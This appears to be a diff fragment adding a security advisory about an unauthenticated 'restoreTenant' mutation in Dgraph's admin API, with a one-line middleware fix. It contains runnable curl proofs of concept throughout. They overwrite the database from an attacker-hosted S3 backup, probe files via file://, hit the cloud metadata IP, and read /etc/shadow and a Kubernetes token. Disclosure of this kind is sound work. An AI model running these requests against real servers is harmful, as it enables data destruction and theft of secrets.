+ "details": "The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.\n\nThis mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.\n\n## Authentication Bypass\n\nEvery admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.\n\nWhen middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.\n\n## PoC 1: Pre-Auth Database Overwrite\n\nThe attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:\n\n # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/evil-backup\\\", accessKey: \\\"AKIAIOSFODNN7EXAMPLE\\\", secretKey: \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\", anonymous: false }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # Response: {\"data\":{\"restoreTenant\":{\"code\":\"Success\",\"message\":\"Restore operation started.\"}}}\n # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).\n\nThe resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.\n\nNote: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:\n\n mutation { restoreTenant(input: {\n restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true },\n fromNamespace: 0\n }) { code message } }\n\n## Live PoC Results (Dgraph v24.x Docker)\n\nTested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:\n\n # restore (HAS middleware) -> BLOCKED\n $ curl ... '{\"query\": \"mutation { restore(...) { code } }\"}'\n {\"errors\":[{\"message\":\"resolving restore failed because unauthorized ip address: 172.25.0.1\"}]}\n\n # restoreTenant (MISSING middleware) -> AUTH BYPASSED\n $ curl ... '{\"query\": \"mutation { restoreTenant(...) { code } }\"}'\n {\"errors\":[{\"message\":\"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID\"}]}\n\nThe `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.\n\nFilesystem enumeration also confirmed with distinct error messages:\n- `/etc/` (exists): \"No backups with the specified backup ID\" (directory scanned)\n- `/nonexistent/` (doesn't exist): \"The uri path doesn't exists\" (path doesn't exist)\n- `/tmp/` (exists, empty): \"No backups with the specified backup ID\" (directory scanned)\n\n## PoC 2: Local Filesystem Probe via file:// Scheme\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///etc/\\\" }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # Error response reveals whether /etc/ exists and its structure.\n # backup_handler.go:130-132 creates a fileHandler for file:// URIs.\n # fileHandler.ListPaths at line 161-166 walks the local filesystem.\n # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))\n\n## PoC 3: SSRF via S3 Endpoint\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://169.254.169.254/latest/meta-data/\\\" }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.\n # Error response may leak cloud metadata information.\n\n## PoC 4: Vault SSRF + Server File Path Read\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/backup\\\", accessKey: \\\"AKIA...\\\", secretKey: \\\"...\\\", vaultAddr: \\\"http://internal-service:8080\\\", vaultRoleIDFile: \\\"/var/run/secrets/kubernetes.io/serviceaccount/token\\\", vaultSecretIDFile: \\\"/etc/passwd\\\", encryptionKeyFile: \\\"/etc/shadow\\\" }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080\n # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk\n # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag\n\n## Fix\n\nAdd `restoreTenant` to `adminMutationMWConfig`:\n\n \"restoreTenant\": gogMutMWs,\n\nKoda Reef",
0 commit comments